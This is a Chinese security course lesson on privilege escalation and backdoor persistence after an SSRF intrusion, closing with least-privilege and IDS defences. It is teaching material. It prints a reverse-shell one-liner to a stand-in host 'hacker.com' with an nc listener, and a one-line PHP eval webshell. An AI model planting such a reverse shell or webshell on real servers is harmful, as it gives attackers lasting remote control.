之前我们提到过,SSRF通常用来作内网探测,那么黑客是如何通过SSRF拿到服务器权限的呢?更神奇的是,这个存在SSRF漏洞的应用,在排查的时候早已经下线了。那么,黑客是如何在漏洞已经下线的情况下,仍然能够进出内网呢?
|
||||
|
||||
## 权限提升:为什么黑客能通过SSRF拿到服务器权限?
|
||||
|
||||
首先,我们先来搞清楚,黑客是如何通过SSRF拿到服务器权限的。在解决这个问题之前,我们先来了解一个概念,权限提升。
|
||||
|
||||
在应用或系统中,黑客或者被黑客控制的用户,通常会通过漏洞攻击或者利用弱密码,获取到其他用户的权限。在获取了新的用户权限之后,黑客就能够以新用户的身份去窃取和篡改数据,进行非法的操作了。这就是**权限提升**(Privilege Escalation)。也就是说,黑客可以通过不断获取新的身份,来不断扩大(或者叫提升)自己的权限,不断扩大攻击影响,最终实现控制整个系统。
|
||||
|
||||
好了,现在你应该知道权限提升是什么了。事实上,权限提升还可以根据攻击效果分为两类,即水平提升和垂直提升。
|
||||
|
||||
**水平提升**是指黑客获取了另外一个“平级”用户的权限。尽管权限等级没变,但因为黑客控制的用户身份发生了变更,所以黑客能够获得新的数据和权限。比如,常见的普通用户被盗号就是一种水平提升。黑客本来只能够登录自己的账号,但他却通过破解密码的方式,登录到其他用户的账号,从而可以查看他人的个人信息,利用他人账号进行交易转账。
|
||||
|
||||
相比较来说,**垂直提升**的危害性更大。通过垂直越权,黑客能够获得一个更高级别的权限,通常来说,是应用的管理员或系统的ROOT权限。拥有高等级权限后,黑客自然就能够获取到大部分的数据了。除此之外,通过高等级的权限,黑客还能够禁用审计功能、删除相关日志,从而隐匿自己的行踪,让你无法发现攻击事件的存在。
|
||||
|
||||
前面我讲过,在我经历的这个事件中,黑客是利用[SSRF](https://time.geekbang.org/column/article/182074)漏洞进入的内网,那在了解权限提升的原理和分类之后,我们接着来分析一下,黑客是如何通过SSRF漏洞做到权限提升的。
|
||||
|
||||
首先,这个SSRF是有回显的,所有内网请求的响应都能够直接被黑客看到。所以,黑客利用.svn文件的信息泄露,一点一点请求内网的各种地址,最终获得了一台服务器上的代码。获得代码之后,黑客通过分析,知道这个服务器存在SQL注入漏洞。于是,黑客通过SQL注入,成功在这台服务器上执行了命令。然后,黑客就开始对内网进行SSH扫描,最终以用户名“root”和密码“123456”,成功获得了一台内网服务器的ROOT权限。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/3f/dc/3fb9787fed96a3e8393554b1883bdfdc.jpeg" alt="">
|
||||
|
||||
事实上,几乎所有的漏洞和攻击(包括前面讲到的几个Web漏洞)都可能导致权限提升。总体来说,权限提升的方法可以分为下面这两种。
|
||||
|
||||
- 窃取身份:前面我们讲过,身份认证的相关风险和攻击包括:无认证、弱密钥、认证信息泄露和认证环节破解等。这些攻击的最终结果其实都一样,就是黑客成功登录了他人的账号,也就意味着权限提升的发生。
|
||||
- 利用漏洞获得权限:从行业现状来说,对于补丁管理的工作普遍做得不到位,各种有漏洞的系统和插件仍在大量使用。因此,权限提升最普遍的方法还是利用漏洞获得权限。这其中,既包括已公开的漏洞,比如上节课中提到的“脏牛”,还包括很多资深黑客所掌握的“0 day”漏洞。
|
||||
|
||||
## 权限持久化:为什么漏洞修复了,还有“后门”?
|
||||
|
||||
好了,现在你已经知道了,黑客可以利用漏洞攻入应用,最终实现了权限提升,那我们修复了这个漏洞是不是就能避免权限提升的发生呢?当然不是,在开头的例子中,带有SSRF漏洞的应用也已经被下线了呀,那为什么黑客还是能够自由进出呢?下面,我就详细来说一说。
|
||||
|
||||
### 什么是“后门”?
|
||||
|
||||
想要解决这个问题,我们先要来看一下“后门”的概念。当黑客通过权限提升,成功获取到一个高级别的权限后,为了保留这个权限,黑客会在应用中留下一个隐藏的进程,下次只要黑客想再次进入,就可以通过这个进程来连通,而不需要再次去绕过各种安全流程。这就是“后门”。也就是说,“后门”能够让你在不经过正常流程的情况下,就直接获得一些权限。
|
||||
|
||||
在我前面讲的例子中,黑客就是在攻进系统后,给自己留下了一个“后门”,开辟了一条非正规的快速通道。那黑客是怎么操作的呢?
|
||||
|
||||
比如说,黑客在进入服务器之后,会留下下面这样一个脚本,让这个脚本,每分钟都执行一次:
|
||||
|
||||
```
|
||||
bash -i >& /dev/tcp/hacker.com/8080 0>&1
|
||||
|
||||
```
|
||||
|
||||
这个脚本运行后,只要hack.com的8080端口打开,那么服务器就会通过TCP获取8080端口返回的命令并执行。因此,只要黑客任意时刻在hacker.com中监听8080端口(比如通过nc -l 8080),就可以获得服务器定时送上来的命令执行权限。
|
||||
|
||||
所以,不管漏洞是否修复,黑客都可以通过这个快速通道轻松进入系统。**而“后门”的关键意义就在于,为黑客长时间保持高权限的通道,使得黑客能够进行长时间的潜伏和攻击。**
|
||||
|
||||
比较有意思的是,“后门”不仅仅是为黑客服务的,正常的应用中可能也会留下一些“后门”以备特殊情况。比如,2008年,微软曾进行过一次打击盗版Windows的行动,当时国内的盗版Windows在同一时间出现了黑屏现象。显然,微软不可能知道所有人的管理员密码,但是微软会通过预留的“后门”实现对系统的控制。类似情况还有很多,比如,管理员在特殊情况下(比如忘记密码),可以通过“后门”对应用进行一些操作。
|
||||
|
||||
### “后门”是如何工作的?
|
||||
|
||||
接着,新问题又来了,既然修复漏洞之后,黑客依然可以通过“后门”自由进出,那我们该如何关掉这个“后门”呢?我们先来看看“后门”是如何工作的,知道了它的工作原理,我们才能“对症下药”,从根本上解决问题。
|
||||
|
||||
我们前面课程讲过的所有攻击方式,通常都是为了造成一些显式的攻击。而“后门”的目的则不同,“后门”会尽力隐藏自己不被别人发现。因此,“后门”通常会以木马的形式出现。
|
||||
|
||||
所谓**木马**(Trojan),就是一些外表看起来正常,但会对应用和系统进行破坏的服务和进程。比如,很早之前流行过的“[灰鸽子](https://baike.baidu.com/item/%E7%81%B0%E9%B8%BD%E5%AD%90%E6%9C%A8%E9%A9%AC/3013692)”木马,就是和正常的应用绑定在一起。这样“灰鸽子”就能在应用运行的时候监控应用的全部操作了(屏幕、键盘、摄像头等)。又因为应用正常的功能不会受到影响,所以,用户几乎感知不到“灰鸽子”的存在。
|
||||
|
||||
那木马可不可以不依附于应用,直接隐藏自己呢?当然可以。那么,“后门”就发展成了Rootkit。通常来说,Rootkit会驻扎于内核中,通过修改内核的逻辑来完成“后门”的功能。因为内核具备较高的权限,所以Rootkit就能破坏杀毒软件这样的安全进程,而不被轻易发现。同样地,因为Rootkit驻扎在内核中,理论上,除了重装系统以外,没有其他更好的方式来根除“后门”。
|
||||
|
||||
除了以隐藏进程的形式运行“后门”,黑客也可以把“后门”留在正常的Web服务中,这就变成了WebShell。在PHP中,最简单的一句WebShell如下:
|
||||
|
||||
```
|
||||
<?php @eval($_POST['shell']);?>)
|
||||
|
||||
```
|
||||
|
||||
只要将这个PHP文件放到Web服务的目录中,黑客就可以通过在POST参数中填入Shell命令远程操控服务器。
|
||||
|
||||
总之,“后门”通常会以木马、Rootkit或者WebShell等比较隐蔽的形式运行在系统中。而黑客可以通过和“后门”的直接通信,来获得服务器的操控权限。
|
||||
|
||||
### 黑客如何将“后门”植入到系统?
|
||||
|
||||
好了,现在你应该知道“后门”是如何工作的了,那黑客又是怎么将“后门”植入系统的呢?
|
||||
|
||||
毫无疑问,最直接的方式就是通过权限提升,即黑客直接获取到系统的命令执行权限,然后通过网络将“后门”程序从云端下载下来。
|
||||
|
||||
除此之外,黑客还可以通过**文件上传漏洞**向服务器上传一个程序。在使用应用的时候,用户经常需要上传一些文件,比如:头像的图片、邮件附件和简历等。很多时候,开发人员为了方便,会直接将上传的文件存储到当前目录,也就是Web服务的目录中。这个时候,如果黑客上传的是一个PHP文件,那么这个PHP文件就会被放入到Web服务的目录中。因此,黑客只需要上传一个包含WebShell的PHP文件,就成功了植入了一个“后门”。
|
||||
|
||||
通过权限提升或者文件上传漏洞成功植入“后门”之后,黑客还需要保证“后门”的持久化。因此,“后门”需要常驻于系统的后台,并能够随着系统的开关机而启动。为了实现这个目的,黑客通常会在定时任务(crontab)或者开机启动项(inittab、rc.local)的配置中,加上“后门”的执行命令。
|
||||
|
||||
除此之外,黑客还可以利用伴随于系统的常驻进程来保证“后门”的持久化。对于WebShell来说,只要Web服务保持可用,那么WebShell也一直可用。对于Rootkit来说,它们会直接篡改内核的初始函数来进行自启动,也就更难被发现和去除。
|
||||
|
||||
总之,持久化要么是通过定时任务、开机启动等方式来实现,要么就是通过伴随于系统的常驻进程来实现。
|
||||
|
||||
## 面对权限提升和持久化,该怎么进行防护?
|
||||
|
||||
好了,现在你应该已经知道,权限提升和持久化的原理和攻击方式了。那面对权限提升和持久化,我们该如何防护呢?这里我为你介绍两种常见的防护方法,它们分别是:最小权限原则和IDS。下面,我们一起来看。
|
||||
|
||||
首先,最基础的防护是从制度和技术上去落实**最小权限原则**。所谓最小权限原则,就是给每一个用户和进程等,只分配它们需要用到的权限。从技术实现上来说,可以通过配置一定的访问控制策略来进行强化,比如在Linux中给予特定进程单独的角色权限等,这部分内容我会在后续的课程中详细介绍。通过最小权限原则的落实,你就能够限制黑客在每一次权限提升时得到的收益,甚至阻断黑客权限提升的可能。
|
||||
|
||||
其次,就是利用**IDS(**Intrusion Detection System,**入侵检测系统)**对黑客的异常行为进行检测。IDS的检测原理就是,通过分析正常用户和黑客在网络层或者主机层中的行为异同,来识别黑客的攻击。比如,正常用户不会去连接内网中不相干的主机,而黑客则必须通过扫描去探测内网等。
|
||||
|
||||
如果黑客已经在进行权限提升和持久化的操作了,这就意味着应用和系统已经出现了各种漏洞。因此,在这个前提下,我们要考虑的不是如何去修复和避免漏洞,而是在出现漏洞后,如何降低损失并尽早发现漏洞。这其实也是安全中纵深防御的一种思想:**对不同的层级进行不同的防御,即使前面层漏过了,下一层还能够接着进行防护**。
|
||||
|
||||
## 总结
|
||||
|
||||
好了,今天的内容讲完了。我们来一起总结回顾一下,你需要掌握的重点内容。
|
||||
|
||||
我们知道了,在进入一个系统后,黑客会进行一系列的操作来扩大自己的权限和攻击影响,这些操作可以被概括为权限提升和权限持久化。权限提升就是利用各种漏洞进行水平或者垂直的扩展,去获得新的身份和权限。权限持久化则是留下“后门”,并保持“后门”的长期有效性。
|
||||
|
||||
为了阻止黑客的进一步攻击行动,我们需要对应用和系统进行相应的防御和检测。最基本的就是强化最小权限原则,限制黑客权限提升的收益。其次就是对一些异常的入侵行为进行检测,通过分析在网络层或者主机层中,正常用户和黑客的行为异同,从而及时发现黑客的行为。
|
||||
|
||||
好了,我把这一讲的重点内容梳理了一个脑图。你可以用它来查漏补缺,也可以自己来梳理看看,加深印象。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/ce/1e/ce153d369fbec8002d90e2ff37ecc31e.jpg" alt="">
|
||||
|
||||
## 思考题
|
||||
|
||||
最后,给你留一个思考题。
|
||||
|
||||
想象一下,现在你是一个黑客,你已经拥有了服务器的普通用户权限(相信你确实有)。那么,基于这个权限你能够进行哪些操作呢?这些操作会对应用和公司的安全产生哪些影响?
|
||||
|
||||
欢迎留言和我分享你的思考和疑惑,也欢迎你把文章分享给你的朋友。我们下一讲再见!
|
||||
Reference in New Issue
Block a user